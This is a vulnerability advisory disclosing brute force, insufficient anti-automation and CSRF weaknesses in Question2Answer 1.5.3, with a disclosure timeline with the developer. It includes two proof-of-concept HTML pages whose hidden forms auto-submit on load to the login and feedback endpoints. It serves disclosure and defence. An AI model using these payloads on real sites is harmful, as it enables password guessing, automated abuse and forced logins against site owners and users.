These are Brute Force, Insufficient Anti-automation and Cross-Site Request
Forgery vulnerabilities in Question2Answer. This is the first part of
vulnerabilities in this web application.
-------------------------
Affected products:
-------------------------
Vulnerable are all versions of Question2Answer (tested in version 1.5.3).
As developer informed me, in version Q2A 1.6 he's planning to add protection
against CSRF (see Timeline). And in January he has added this protection
into the last dev-version of Q2A
(http://www.question2answer.org/question2answer-dev-latest.zip). So before
official release of Q2A 1.6 people can use this dev-version.
----------
Details:
----------
Brute Force (WASC-11):
In login form (http://site/login) there is no protection from Brute Force
attacks.
Exploit:
http://websecurity.com.ua/uploads/2013/Question2Answer%20BF.html
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/login"; method="post">
<input type="hidden" name="emailhandle" value="1">
<input type="hidden" name="password" value="1">
<input type="hidden" name="remember" value="1">
<input type="hidden" name="dologin" value="1">
</form>
</body>
Insufficient Anti-automation (WASC-21):
At contact page (http://site/feedback) there is no protection from automated
requests.
Exploit:
http://websecurity.com.ua/uploads/2013/Question2Answer%20IAA.html
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/feedback"; method="post">
<input type="hidden" name="message" value="test">
<input type="hidden" name="name" value="test">
<input type="hidden" name="email" value="test">
<input type="hidden" name="dofeedback" value="1">
</form>
</body>
Cross-Site Request Forgery (WASC-09):
There is no protection against CSRF attacks in login (http://site/login) and
logout (http://site/logout) functionalities, and on other pages (there is no
protection against CSRF in the system at all). In the next advisory I'll
show example of CSRF, which allows to occupy admin account.
Lack of captcha in login form (http://site/login) can be used for different
attacks - for CSRF-attack to login into account (remote login - to conduct
attacks on vulnerabilities inside of account), for above-mentioned Brute
Force, for phishing and other automated attacks. Which you can read about in
the article "Attacks on unprotected login forms"
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).
------------
Timeline:
------------
2012.11.27 - announced at my site.
2012.11.30 - informed developer (about the first part of the holes).
2012.12.01 - informed developer (about the second part of the holes).
2012.12 - during December I've spoke with developer about these holes and
convinced him to fix CSRF holes.
2013.01.17 - developer informed about plans to add protection against CSRF
into Q2A 1.6 (it'll be released in 2013) and that he added it to the last
dev-version of Q2A.
2013.02.28 - disclosed at my site (http://websecurity.com.ua/6185/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information